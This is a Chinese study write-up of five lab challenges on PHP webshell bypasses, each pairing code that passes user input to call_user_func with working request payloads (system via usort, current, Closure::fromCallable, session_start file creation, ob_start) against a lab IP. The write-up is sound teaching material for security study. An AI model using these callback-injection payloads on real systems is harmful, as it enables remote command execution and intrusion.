记一次学习--webshell绕过

目录

第一题

第二题

第三题

第四题

第五题


第一题

php 复制代码
<?php

$action = $_GET['action'];
$parameters = $_GET;
if (isset($parameters['action'])) {
    unset($parameters['action']);
}

$a = call_user_func($action, ...$parameters);

上面题目,下面的call_user_func有一个可变长参数,这个可变长参数是parameters然后上面有一个if语句判断parameters是否有action,如果有就删除掉,然后再action参数传system,在parameters传你要执行的命令

php 复制代码
http://192.168.244.152:8080/webshell/1.php?action=system&1=pwd

或者利用usort

php 复制代码
http://192.168.244.152:8080/webshell/1.php?action=usort&0[0]=system&0[1]=pwd&1=call_user_func

第二题

php 复制代码
<?php

$action = $_GET['action'];
$parameters = $_GET;
if (isset($parameters['action'])) {
    unset($parameters['action']);
}

call_user_func($action, $parameters)($_POST['a'])($_POST['b']);

首先这里action和parameters传递current,然后post传参的时候a传数组systemb传你要执行的命令,这里就是action传递的current被call_user_func调用,然后返回了parameters的current,此时的parameters是一个数组,数组中的值正是current,然后action的current返回了parameters的current,现在就成了current((_POST['a'])($_POST['b'])),然后a传递的也是一个数组a中的值被取出来是system,然后执行了b里面的命令如下图

bash 复制代码
POST /webshell/2.php?action=current&a=current HTTP/1.1
Host: 192.168.244.152:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 16

a[]=system&b=pwd

另外一种解法

bash 复制代码
action=Closure::fromCallable&0=Closure&1=fromCallable

a=system&b=pwd

Closuer::fromCallable作用是将callable转化成闭包,然后上面传递的action传递Closuer::fromCallable将$parametersClosuer的fromCallable方法又执行了一手,然后又执行了system和你要执行的命令

第三题

php 复制代码
<?php
$action = $_GET['action'];
$parameters = $_GET;
if (isset($parameters['action'])) {
    unset($parameters['action']);
}

call_user_func($action, $parameters);


if(count(glob(__DIR__.'/*'))>3){
    readfile('flag.txt');
}

?>

这道题目要读取flag,且当前目录下的文件数目要大于三才可以读取,然后这里的思路就是创建文件。为啥不能像第一题一样直接传递。这个是因为第一题有一个可变长参数,然后将传递的值展开单个传递。但是第二题是直接将$parameters以一个数组的方式传递进去。所以第一题的方案不适合第三题。所以这里我们的思路就是创建文件。然后我们尝试输入一个错误参数,这里给到了物理路径。(这里就是入侵的一个小思路,有可能你以后遇到的代码,并且你可以控制一些页面元素。你就可以输入一个错误参数,让他报错就有可能将对方的物理路径爆出了)。

创建文件利用session_start。然后利用session_start的一个参数,修改session上传零食文件文件的目录,将上传的目录修改成刚刚爆出来的物理路径

然后我们写入

php 复制代码
http://192.168.244.152:8080/webshell/3/3.php?action=session_start&save_path=/var/www/html/webshell/3

但是上面写入一个文件也只写入了一个文件,还没有达到代码的要求。那么再写入一个怎么办呢。我们修改一个cookie就可以再生成一个了,flag成功拿到

第四题

php 复制代码
<?php
Class A{
    static function f(){
        system($_POST['a']);
    }
}


$action = $_GET['action'];
$parameters = $_GET;
if (isset($parameters['action'])) {
unset($parameters['action']);
}

call_user_func($action, $parameters);

这里就是要利用这个A这个类里卖弄的f方法,然后call_user_func可以直接调用类方法,然后这里使用下面参数

action=call_user_func&0=A&1=f

如下call_user_func调用类的里面的方法的例子

抓包传参

第五题

php 复制代码
<?php
Class A{
    static function f(string $a){
        system($a);
    }
}


$action = $_GET['action'];
$parameters = $_GET;
if (isset($parameters['action'])) {
unset($parameters['action']);
}

call_user_func($action, $parameters);
echo $_POST['a'];

我们这里也要想办法利用A中的f,这个就要利用ob_start,ob_start调用例子,这里和call_user_func调用差不多。只不过把call_user_func改成了ob_start

使用这个样本没有成功,但是其他同学成功了,怀疑是版本的问题

相关推荐
黑客Ash5 小时前
【D01】网络安全概论
网络·安全·web安全·php
->yjy5 小时前
计算机网络(第一章)
网络·计算机网络·php
朝九晚五ฺ5 小时前
【Linux探索学习】第十四弹——进程优先级:深入理解操作系统中的进程优先级
linux·运维·学习
阳光帅气男孩6 小时前
PhpSpreadsheet导出图片
php
猫爪笔记7 小时前
前端:HTML (学习笔记)【1】
前端·笔记·学习·html
周全全7 小时前
Spring Boot + Vue 基于 RSA 的用户身份认证加密机制实现
java·vue.js·spring boot·安全·php
pq113_67 小时前
ftdi_sio应用学习笔记 3 - GPIO
笔记·学习·ftdi_sio
澄澈i7 小时前
设计模式学习[8]---原型模式
学习·设计模式·原型模式
Mr.Pascal8 小时前
刚学php序列化/反序列化遇到的坑(攻防世界:Web_php_unserialize)
开发语言·安全·web安全·php